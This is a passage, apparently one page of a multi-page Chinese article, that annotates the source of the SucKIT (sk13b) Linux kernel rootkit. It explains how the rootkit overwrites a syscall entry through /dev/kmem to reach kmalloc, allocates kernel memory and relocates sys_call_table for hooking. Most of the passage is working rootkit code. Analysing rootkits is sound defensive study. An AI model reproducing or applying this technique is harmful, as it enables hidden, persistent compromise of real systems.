|
不常用的系统调用 */
if (ERR(rkml(fd, &oldsys, sct + OURSYS * 4))) { printf("FUCK: Can't read syscall %d addr\n", OURSYS); close(fd); return 1; }
/* 用kmalloc的地址替换oldolduname的地址 */
wkml(fd, kmalloc, sct + OURSYS * 4);
/*
计算将要用kmalloc分配的内存大小,注意是在内核区域分配内存
大小等于sk自身的长度+256个系统调用的地址+512个pid_struc个结构体的大小
注意:sk13b将要把原来的sys_call_table的所有内容重新分配到即将开辟的内存 中,hook系统时是hook新的sys_call_table数组的,并用新的sys_call_talbe的 地址覆盖原来的sys_call_talbe地址
*/
size = (ulong) kernel_end - (ulong) kernel_start + SCT_TABSIZE + PID_TABSIZE;
printf("Z_Init: Allocating kernel-code memory...");
/*
调用kmalloc在内核区域中分配内存
注意: 刚才已经把oldolduname的地址替换成kmalloc的地址了,只要调用oldolduname 就可以调用kmalloc函数了
补充:如何在应用程序中直接调用kmalloc
sk在stuff.h中定义了类似如下的几个宏函数:
#define syscall2(__type, __name, __t1, __t2) \ __type __name(__t1 __a1, __t2 __a2) \ { \ ulong __res; \ __asm__ volatile \ ("int $0x80" \ : "=a" (__res) \ : "0" (__NR_##__name) \ rr("b", __a1) \ rr("c", __a2)); \ return (__type) __res; \ }
static inline syscall2(ulong, KMALLOC, ulong, ulong);被展开后就变为:
static inline ulong KMALLOC(ulong __a1,ulong __a2) { ulong __res; __asm__volatile ("int $0x80" : "=a" (__res) " "0"(__NR_KMALLOC) rr("b", __a1)
共11页: 上一页 [1] [2] [3] 4 [5] [6] [7] [8] [9] [10] [11] 下一页
|
|
|